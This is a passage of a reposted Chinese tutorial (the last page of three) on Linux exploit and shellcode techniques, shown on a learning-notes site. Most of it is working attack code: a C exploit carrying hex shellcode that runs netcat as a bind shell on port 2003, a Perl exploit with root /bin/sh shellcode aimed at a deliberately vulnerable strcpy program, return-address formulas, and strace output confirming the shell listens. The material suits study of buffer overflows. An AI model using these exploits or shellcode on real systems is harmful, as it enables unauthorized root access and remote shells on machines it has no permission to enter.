转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件使用 >> 系统软件 >> 正文
(转载)Exploit,shellcode经验技巧杂谈         

(转载)Exploit,shellcode经验技巧杂谈

作者:闵涛 文章来源:闵涛的学习笔记 点击数:2109 更新时间:2009/4/25 0:45:03
sp;               inc ecx
00000051  42                inc edx
00000052  42                inc edx
00000053  42                inc edx
00000054  42                inc edx
00000055  43                inc ebx
00000056  43                inc ebx
00000057  43                inc ebx
00000058  43                inc ebx
00000059  44                inc esp
0000005A  44                inc esp
0000005B  44                inc esp
0000005C  44                inc esp
0000005D  45                inc ebp
0000005E  45                inc ebp
0000005F  45                inc ebp
00000060  45                inc ebp

其实就是这么简单,剩下的就是要测试一下shellcode是否能正常运行了。这里我用非安全高级缓冲区溢出里面的一个例子来测试。(当然,这段汇编代码可以进一步优化)

/*abo1.c                                                 *
* specially crafted to feed your brain by gera@core-sdi.com */
/* Dumb example to let you get introduced¡­                  */
int main(int argv,char **argc)
{  
char buf[256];
strcpy(buf,argc[1]);
}

上面的代码是漏洞程序,下面是我写的exploit,那段长长的shellcode就是刚才的nc -l -p 2003的shellcode。

#exp2.c
#codz by OYXin
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define  bufsize 272
char shellcode[] =
        "\xeb\x33\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x0d\x88"
        "\x46\x12\x89\x76\x13\x8d\x5e\x08\x89\x5e\x17\x8d\x5e\x0b\x89"
        "\x5e\x1b\x8d\x5e\x0e\x89\x5e\x1f\x89\x46\x23\xb0\x0b\x89\xf3"
        "\x8d\x4e\x13\x8d\x56\x23\xcd\x80\xe8\xc8\xff\xff\xff\x2f\x75"
        "\x73\x72\x2f\x6e\x63\x23\x2d\x6c\x23\x2d\x70\x23\x32\x30\x30"
        "\x33\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44"
        "\x44\x44\x44\x45\x45\x45\x45";

int main(int argc,char *argv[]){
    char buf[bufsize+1];
    char  *prog[]={"./abo1",buf,NULL};
    char  *env[]={"HOME=/root",shellcode,NULL};
    unsigned long ret;
    ret=0xc0000000-sizeof(void *)-strlen(prog[0])-strlen(shellcode)-0x02;
    memset(buf, 0x90, bufsize);
    memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(2*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(3*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(4*sizeof(ret))], &ret, sizeof(ret));
    buf[bufsize] = ''''\0'''';
    execve(prog[0],prog,env);
    return  0;
}
这里是输出。
[oyxin@OYXin buf]$ ./exp2
ls                 #这里是客户端输入后,服务端的输出
yeah!lol....


[oyxin@OYXin oyxin]$ nc -vv localhost 2003
OYXin [127.0.0.1] 2003 (cfinger) open
Ls                #客户端输入
yeah!lol....

    可以看到在运行了exp2后,成功的打开了2003这个端口,shellcode成功了。
    顺便提提,我看到可爱的刺刺在绿盟问了shellcode地址的计算问题(用环境变量),关于利用环境变量写exploit netric和gera的非安全高级缓冲区溢出编程里面都有介绍。
gera的计算方法:ret=0xbffffffa-strlen(name_of_program)-strlen(shellcode)"
netric的计算方法:ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -strlen(shell) - 0x02;
注意这段话:“这里我们发现在linux_binprm 结构里面的执针p被设置为指向最后memory page在减去一个void指针,像0xc0000000 - 0x04这样”,可以计算一下netric的ret =0xc0000000-0x04-0x02-strlen(prog[0])-strlen(shell) = 0xbffffffa-strlen(prog[0]-strlen(shell),因为strlen(prog[0]就是strlen(name_of_progarm),所以这两个公式是完全一样的。没有什么不同。关于原理可以查资料,刺翻译的非安全高级缓冲区溢出,和我翻译的netric的文章都解释的很清楚了。
    禁不住又要扯扯我喜爱的语言perl,perl虽然没有execve()函数,但是任然可以轻松简单的写利用环境变量的exploit.
下面是我用perl写的针对abo1的exploit。

#!/usr/bin/perl
#code by OYXin
$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
$path = "./abo1";
$ret = 0xbffffffa - length($shellcode) - length($path);        #这里就是计算公式,上面刚刚提到。
$new_ret = pack(''''l'''', $ret);
$buffer = "A" x 268;
$buffer .= $new_ret;
local($ENV{''''OYXin''''}) = $shellcode;
exec("$path  $buffer");

是不是用perl写很轻松阿,嘿嘿。

    扯远了,回到正题吧 :p
    当时我调试程序的时候犯了一个错误,我的nc在/usr/bin/这个目录,而不是/usr这个目录。这里可以用strace这个工具调试.
strace ./exp2可以看到下面的提示。
execve("/usr/nc", ["/usr/nc", "-l", "-p", "2003"], [/* 0 vars */]) = -1 ENOENT (No such file or direc or directory)
这样我们就知道了是/usr目录没有nc了,拷贝nc到/usr目录之后继续strace ./exp2
可以看到输出的最后一行是
accept(3,

嘿嘿,监听成功,打开另外一个xterm用nc连接上去,可以在先前运行strace的屏幕输出里面看到
accept(3, {sa_family=AF_INET, sin_port=htons(32886), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
rt_sigaction(SIGALRM, {SIG_IGN}, {SIG_IGN}, 8) = 0
alarm(0)                                = 0
close(3)                                = 0
getsockname(4, {sa_family=AF_INET, sin_port=htons(2003), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0
select(16, [0 4], NULL, NULL, NUL

在客户端输入ls,输出是
select(16, [0 4]

上一页  [1] [2] [3]  下一页


[操作系统]网络转载---64位操作系统与32位的区别  [Delphi程序]Self-Delete程序之Delphi版本,终于搞定了。 (转载…
[SyBase][Linux] Linux的一些Tips (转载)  [SyBase](转载)Linux内核漏洞浅析
[SyBase][转载] linux指令大全  [SyBase]教您如何安装使用Mplayer(转载www.linuxsir.org/b…
[SyBase](转载)Linux下源代码阅读工具lxr安装使用说明  [Sql Server][转载] 编写安全的 Transact-SQL
[Sql Server]PostgreSQL 的昨天今天和明天 转载  
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · 办公软件  · 系统软件
    · 常用软件  · 聊天工具
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台